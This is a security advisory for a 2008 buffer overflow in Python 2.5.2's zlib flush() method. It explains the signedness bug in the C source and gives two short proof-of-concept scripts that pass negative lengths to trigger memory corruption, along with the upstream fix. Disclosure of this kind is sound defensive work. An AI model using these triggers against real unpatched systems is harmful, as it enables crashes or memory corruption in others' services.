Buffer overflow in Python zlib extension module

Risk: High
Local: No
Remote: Yes
CWE: CWE-189

CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

Title: Buffer overflow in Python zlib extension module Date Discoverd: ??-April-2008 Date Reported: 08-April-2008 Date Patched: 08-April-2008 Date Disclosed: 09-April-2008 Criticality: Critical Affected Products ----------------- Python 2.5.2, earlier and unstable version are likely to be vulnerable Synopsis -------- The zlib extension module contains a method for flushing decompression streams that takes an input parameter of how much data to flush. This parameter is a signed integer that is not verified for sanity and is thus potentially negative. When passed a negative value memory is misallocated and then the signed integer is converted to an unsigned integer resulting in buffer overflow. Techical Details -----------------   Python-2.5.2/Modules/zlibmodule.c: 761 PyDoc_STRVAR(decomp_flush__doc__, 762 "flush( [length] ) -- Return a string containing any remaining\n" 763 "decompressed data. length, if given, is the initial size of the\n" 764 "output buffer.\n" 765 "\n" 766 "The decompressor object can no longer be used after this call."); 767 768 static PyObject * 769 PyZlib_unflush(compobject *self, PyObject *args) 770 { 771 int err, length = DEFAULTALLOC; 772 PyObject * retval = NULL; 773 unsigned long start_total_out; 774 775 if (!PyArg_ParseTuple(args, "|i:flush", &length)) 776 return NULL; 777 if (!(retval = PyString_FromStringAndSize(NULL, length))) 778 return NULL; 779 780 781 ENTER_ZLIB 782 783 start_total_out = self->zst.total_out; 784 self->zst.avail_out = length; 785 self->zst.next_out = (Byte *)PyString_AS_STRING(retval); 786 787 Py_BEGIN_ALLOW_THREADS 788 err = inflate(&(self->zst), Z_FINISH); 789 Py_END_ALLOW_THREADS The PyArg_ParseTuple() function acts as a bridge between Python and C and initializes the length variable if one was provided. Then at line 777 this variable is passed as the second parameter to PyString_FromStringAndSize(). The second parameter to PyString_FromStringAndSize() is also signed, and the API call itself does not validate the parameter in non-debug builds. This value then has the size of a PyStringObject summed with it and is passed to the Python allocator which services the request. Upon successfull allocation the assignment at line 784 causes a sign conversion as the avail_out member of the zst structure is an unsigned variable. Then at line 785 the pointer to the memory that was allocated at line 777 is assigned to the next_out member of the zst structure. This culminates in buffer overflow at line 788 when the zlib inflate() function decompresses data. Reproduction / Proof-of-Concept ------------------------------- When the length variable contains a value of -24 then the allocator is told to reserve 0 bytes of memory, however the allocator modifies the request and will allocate one byte of memory. For values ranging between -2 and -23 a small amount of memory will be allocated due to being summed with the size of a PyStringObject. Both will mislead zlib into believing that there is several gigabytes of space available. If an attacker controls the input stream then they can avoid the obvious Denial of Service simply be making the available input large than the output buffer, but smaller than the size required to hit an unmapped or read-only page of memory. A semi-interesting note is that the value -1 will not work as when extracting this integer an API call mixes the return value and error code, with -1 indicating that an error occurred. This check is done in conjunction with another check and thus does not cause the routine to fail, but rather causes PyArg_ParseTuple() to initialize the length variable with a value of 1. python-2.5.2-zlib-unflush-misallocation.py ------------------------------------------ #!/usr/bin/python import zlib msg = """ Desire to know why, and how, curiosity; such as is in no living creature but man: so that man is distinguished, not only by his reason, but also by this singular passion from other animals; in whom the appetite of food, and other pleasures of sense, by predominance, take away the care of knowing causes; which is a lust of the mind, that by a perseverance of delight in the continual and indefatigable generation of knowledge, exceedeth the short vehemence of any carnal pleasure. """ compMsg = zlib.compress(msg) bad = -24 decompObj = zlib.decompressobj() decompObj.decompress(compMsg) decompObj.flush(bad) python-2.5.2-zlib-unflush-signedness.py: ---------------------------------------- #!/usr/bin/python import zlib msg = """ Society in every state is a blessing, but government even in its best state is but a necessary evil in its worst state an intolerable one; for when we suffer, or are exposed to the same miseries by a government, which we might expect in a country without government, our calamities is heightened by reflecting that we furnish the means by which we suffer! Government, like dress, is the badge of lost innocence; the palaces of kings are built on the ruins of the bowers of paradise. For were the impulses of conscience clear, uniform, and irresistibly obeyed, man would need no other lawgiver; but that not being the case, he finds it necessary to surrender up a part of his property to furnish means for the protection of the rest; and this he is induced to do by the same prudence which in every other case advises him out of two evils to choose the least. Wherefore, security being the true design and end of government, it unanswerably follows that whatever form thereof appears most likely to ensure it to us, with the least expense and greatest benefit, is preferable to all others. """ * 1024 compMsg = zlib.compress(msg) bad = -2 decompObj = zlib.decompressobj() decompObj.decompress(compMsg, 1) decompObj.flush(bad) Remediation ----------- This bug was patched in CVS and appends the following lines between 776 and 777: if (length <= 0) { PyErr_SetString(PyExc_ValueError, "length must be greater than zero"); return NULL; } Further details can be found at http://bugs.python.org/issue2586 and http://svn.python.org/view?rev=62235&view=rev

Vote for this issue:


Thanks for you vote!


Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com


Back to Top